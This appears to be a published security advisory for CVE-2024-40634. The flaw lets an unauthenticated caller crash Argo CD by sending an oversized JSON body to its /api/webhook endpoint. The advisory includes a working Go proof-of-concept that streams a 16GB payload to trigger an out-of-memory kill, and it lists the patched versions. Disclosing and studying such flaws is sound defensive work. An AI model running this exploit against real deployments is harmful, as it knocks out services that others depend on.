CVE-2024-40634: Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

First published: Mon Jul 22 2024(Updated: )

### Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. ### Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory. The fix would be to enforce a limit on the size of the request being parsed. ### PoC Port-forward to the argocd-server service, like so: ```console kubectl port-forward svc/argocd-server -n argocd 8080:443 ``` Run the below code: ```go package main import ( "crypto/tls" "io" "net/http" ) // Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated } // Read generates the next chunk of the dummy JSON payload. func (r *DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating } start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true } for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } } r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil } func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB reader := &DummyJSONReader{size: payloadSize} // HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) } // Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push") resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close() println("Response status code:", resp.StatusCode) } ``` ### Patches A patch for this vulnerability has been released in the following Argo CD versions: v2.11.6 v2.10.15 v2.9.20 ### For more information If you have any questions or comments about this advisory: Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credits This vulnerability was found & reported by Jakub Ciolek The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Credit: security-advisories@github.com security-advisories@github.com

Affected Software	Affected Version	How to fix
go/github.com/argoproj/argo-cd/v2	>=2.11.0<2.11.6	2.11.6
go/github.com/argoproj/argo-cd/v2	>=2.10.0<2.10.15	2.10.15
go/github.com/argoproj/argo-cd/v2	<2.9.20	2.9.20
go/github.com/argoproj/argo-cd	>=1.0.0<=1.8.7
Argoproj Argo Cd	>=1.0.0<2.9.20
Argoproj Argo Cd	>=2.10.0<2.10.15
Argoproj Argo Cd	>=2.11.0<2.11.6

CVE-2024-40634: Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

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